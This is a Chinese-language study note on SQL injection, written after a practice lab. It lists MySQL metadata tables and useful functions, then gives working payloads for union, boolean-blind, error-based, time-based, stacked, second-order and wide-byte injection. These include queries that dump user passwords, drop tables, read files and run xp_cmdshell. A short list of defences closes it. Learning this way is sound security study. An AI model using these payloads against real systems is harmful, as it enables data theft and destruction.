sql注入知识点详解
打完65关的sql靶场,浅浅地整理了一下关于sql注入的知识点。主要是mysql数据库的。
00x1 MySQL
● 字段table_schema记录库名,table_name记录表名,column_name记录字段名
● 在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面
● 这个库里面有很多表重点是这三个表 columns 、tables、schemata
1 | columns 存储该用户创建的所有数据库的库名、表名和字段名。 |
00x2 常用函数:
version()——MySQL 版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
00x3 sql注入
1、sql注入原理
● 参数用户可控
● 参数带入数据库查询
2、判断是否存在注入
1 | ● 数字型注入:/1和/0回显不一样。或者传入id=1 and 1=1和id=1 and 1=2回显不一样等等 |
3、注释符
1 | ● 单行注释:减减加(--+),减减空格(-- ),# |
00x4 sql注入分类
1、union联合注入
含义:联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。
● Limit
Limit是指限定查询的条数。有三种方式:
方式一:limit 参数1
参数1可从1开始,往后递增,表示要查询几条数据。
例如,limit 1 表示限定查询一条语句。
方式二:limit 参数1,参数2
参数1从0开始,表示从第几行(按照索引0作第一行)开始查询,参数2表示要查询的条数。合在一起的意思就是,从参数1开始,查询参数2条语句。
例如,limit 0,1 表示查询第一条语句,和limit 1等意。
方式三:limit 参数1 offset 参数2
参数1表示限定要查询几条,参数2表示从第几行(按照索引为0作第一行)开始查询。
例如:limit 1 offset 0 表示查询第一条参数。
(1)判断
1 | 传入1正常,传入1'报错 |
(2)判断字段数
1 | 公式:order by n-1 到n出错时,则字段数为n-1 |
(3)获取敏感信息
1 | -1 union select 1,2--+ |
(4)获取表
1 | -1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+ |
(5)获取字段
1 | -1’ union select 1,(select column_name from information_schema.columns where table_name='users' limit 0,1)--+ |
(6)查询某个表的内容
例如:获取users表的user和password
1 | -1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+ |
2、Boolean布尔型盲注
含义:在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。
if(1=1,1,0)
● if(参数1,参数2,参数3)
● 参数1是语句,参数2表示正确时显示,参数3表示错误时显示
substr
● substr(参数1,参数2,参数3)
● 参数1是字符串,参数2是开始截取(索引从1开始),参数3是截取的长度
(1)判断
1 | 传入1正常,传入1'报错 |
(2)获取敏感信息
1 | 1' and if(substr(user(),1,1)='a',1,0)--+ |
(3)获取数据库名
1 | 1' and if(substr(database(),1,1)='a',1,0)--+ |
(4)获取表名
1 | 1’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='a',1,0)--+ |
(5)获取字段名
1 | 1' and if(substr((select column_name form information_schema.columns where table_name='users' limit 1,1),1,1)='a',1,0)--+ |
(6)获取表的内容
1 | 1’ and if(substr((select concat(user,0x3a,password)from users limit 1),1,1)='a',1,0)--+ |
3、报错注入
含义:数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息。
(1)判断
1 | 输入单引号,如果报错有可能存在报错注入,如果拼接SQL语句带入到mysql执行即存在报错注入 |
(2)获取库名
1 | 1' and info()--+ |
(3)获取敏感信息
● updatexml()函数
1 | 1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ |
● extractvalue()函数
1 | 1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+ |
● floor()函数
1 | 1' and (select count(*) from information_schema.tables group by concat(0x7e,(select user()),0x7e,floor(rand(0)*2)))--+ |
4、时间注入(延时注入,基于时间的SQL盲注)
含义:时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。跟布尔型差不多,只是将布尔型如果成功显示1换成如果成功延时多少秒。
sleep()
sleep() 是延时的意思,sleep(10)就是数据库延时10 秒返回内容。
(1)判断
1 | id=1' and sleep(5)--+ 存在延时 |
(2)获取敏感信息
1 | 1' and if(substr(user(),1,1)='a',sleep(5),0)--+ |
(3)获取数据库名
1 | 1' and if(substr(database(),1,1)='s',sleep(5),0)--+ |
5、堆叠注入(多语句查询注入)
含义:可以执行多条sql语句,语句之间以分号隔开。
堆叠注入主要用来实现数据库的增删查改操作:
MySQL:
(1)新建一个表
1 | Select * from users where id=1;create table test like users; |
(2)删除表
1 | Select * from users where id=1;drop table test; |
(3)查询数据
1 | Select * from users where id=1;select 1,2,3; |
(4)加载文件
1 | Select * from users where id=1;select load_file('C:/1.php'); |
(5)修改数据
1 | Select * from users where id=1;insert into users(id,username,password) values('100','new','new'); |
SqlServer:
(1)新建一个表
1 | select * from test;create table sc3(ss CHAR(8)); |
(2)删除表
1 | select * from test;drop table sc3; |
(3)查询数据
1 | select 1,2,3;select * from test; |
(4)修改数据
1 | select * from test;update test set name='test' where id=3; |
(5)存储过程的执行
1 | select * from test where id=1;exec master..xp_cmdshell 'ipconfig' |
Oracle不能使用堆叠注入
Postgresql:
(1)新建一个表
1 | select * from user_test;create table user_data(id DATE); |
(2)删除表
1 | select * from user_test;delete from user_data; |
(3)查询数据
1 | select * from user_test;select 1,2,3; |
(4)修改数据
1 | select * from user_test;update user_test set name='modify' where name='张三'; |
6、二次注入
含义:将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
原理:插入恶意数据库——>引用恶意数据
7、宽字节注入
产生原因:数据库编码与PHP编码设置为不同的两个编码。
Big5和GBK字符集有可能会存在宽字节注入,utf-8和gb2312没有。Mysql在使用GBK编码时,会认为两个字符为一个汉字。
思路一:
%df吃掉\ 原因在于urldecode(‘)=%5c%27,而我们在前面添加%df,就形成了%df%5c%27,mysql在GBK编码中前两个字当做一个汉字,此时%27就会作为一个单独的字符,也就是’
思路二:
将'中的\过滤掉。可以构造%**%5c%5c%27,后面的%5c会被前面的%5c给注释掉。
00x5 sql注入防御
1.使用安全的API,避免使用解释器
2.对输入的特殊的字符进行ESCAPE转义处理
3.使用白名单来规范化的输入验证方法
4.使用预编译
00x6 思维导图
最后放张上面知识的思维导图版吧
